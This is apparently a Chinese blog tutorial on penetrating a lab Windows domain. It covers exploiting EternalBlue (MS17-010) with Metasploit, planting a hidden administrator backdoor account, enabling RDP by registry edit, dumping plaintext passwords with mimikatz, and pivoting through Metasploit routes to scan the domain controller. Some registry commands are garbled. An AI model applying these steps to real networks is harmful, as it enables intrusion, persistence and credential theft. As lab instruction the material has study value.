域渗透详解

star-R

已于 2022-10-11 11:35:42 修改

阅读量3.4k

点赞数 3

分类专栏： # 漏洞复现文章标签：安全网络 web安全

于 2022-10-10 20:26:01 首次发布

本文链接：https://blog.csdn.net/qq_54037445/article/details/127250660

版权

漏洞复现专栏收录该内容

1 篇文章 0 订阅

订阅专栏

一、域环境搭建

1、子域主机：Windows7（192.168.162.134），加入域yst；

2、域控制器：Windows2008（192.168.162.150）

3、攻击主机：kali（192.168.162.131）

二、域渗透

1、信息收集：扫描获取目标网段所有主机的IP、系统版本、开放端口等信息；

（1）、ip扫描

获取到子域主机IP：192.168.162.134

（2）、详细扫描

目标主机开放445端口，而且系统版本是win7或者2008，主机属于YST域；

二、子域主机的渗透

该主机445端口开放，版本为win7或者2008，符合永恒之蓝漏洞（ms 17-010）,所以进行尝试验证：

永恒之蓝漏洞：永恒之蓝漏洞讲解

1、msf下搜索ms 17-010

2、使用auxiliary/scanner/smb/smb_ms17_010进行判断

配置目标主机，run，检测显示目标主机大概率存在ms17-010

3、接下来使用模块进行漏洞利用

使用攻击模块，这次为了进行域渗透，dump密码，所以我们要拿到更高权限的shell，因此我们要配置payload

配置完payload后，show options

我们需要配置rhost(目标主机IP)和lhost(本机IP)

配置完成后，再次show options查看：

进行攻击：exploit

反弹shell，进行权限查看：

成功拿到子域主机的system权限；

三、域内成员密码dump

1、通过子域主机查看域信息

域名为：yst.com

2、在拿下的子域主机上留后门

（1）、新建用户

用户名后带$符，便于隐藏，用户在输入net user命令时，不显示；

（2）、net localgroup administrators rxx$ /add #将用户rxx$加入管理员组

（3）、开启3389端口

1、REG ADD HKLMYSYSTEMYCurrentControlSet\Control Terminal" "Server /v fDenyTSConnections /t REG DWORD /d 00000000 /f         #开启3389端口

2、REG ADD HKLMYSYSTEMYCurrentControlSet\Control Terminal" "Server /v fDenyTSConnections /t REG DWORD /d 11111111 /f         #关闭3389端口

（3）、远程登陆

rdesktop 192.168.162.134:3389        #linux下远程桌面连接命令

后门成功；

3、获取用户和密码

退出shell，加载猕猴桃（mimikatz）,使用keberos模块获取明文密码

四、内网域控渗透

1、内网主机发现，获取域控IP

总结的方法如下：
1、在meterpreter下：
    （1）、run post/windows/gather/arp_scanner rhosts=192.168.162.0/24     #基于arp协议
    （2）、run post/multi/gather/ping_sweep rhosts=192.168.162.0/24        #基于ping命令
    （3）、meterpreter >info post/multi/gather/ping_sweep
2、进入shell，在cmd下：
    ipconfig /all    #查看用户IP信息，主要观察DNS服务器IP
    route print      #查看路由表


两种方法对照着来，判断内网域控主机的IP地址

通过DNS判断内网域控IP：192.168.162.150

2、端口信息扫描

1、shell下：
C:\Windows\system32>exit            #退出shell，返回到meterpreter

2、meterpreter下：
meterpreter >backgroud               #返回到msf

3、msf下：
route add 192.168.162.134 255.255.255.0 1        #给msf添加路由，方便nmap进行内网扫描

路由添加成功后接下来进行内网扫描，方法如下：
auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机
auxiliary/scanner/portscan/tcp           #基于tcp进行端口扫描

4、选择要使用的模块：
(1)、use auxiliary/scanner/discovery/udp_sweep
     set rhosts 192.168.162.150
(2)、use auxiliary/scanner/discovery/udp_probe
     set rhosts 192.168.162.150
(3)、use auxiliary/scanner/netbios/nbname
     set rhosts 192.168.162.150
(4)、use auxiliary/scanner/portscan/tcp
     set rhosts 192.168.162.150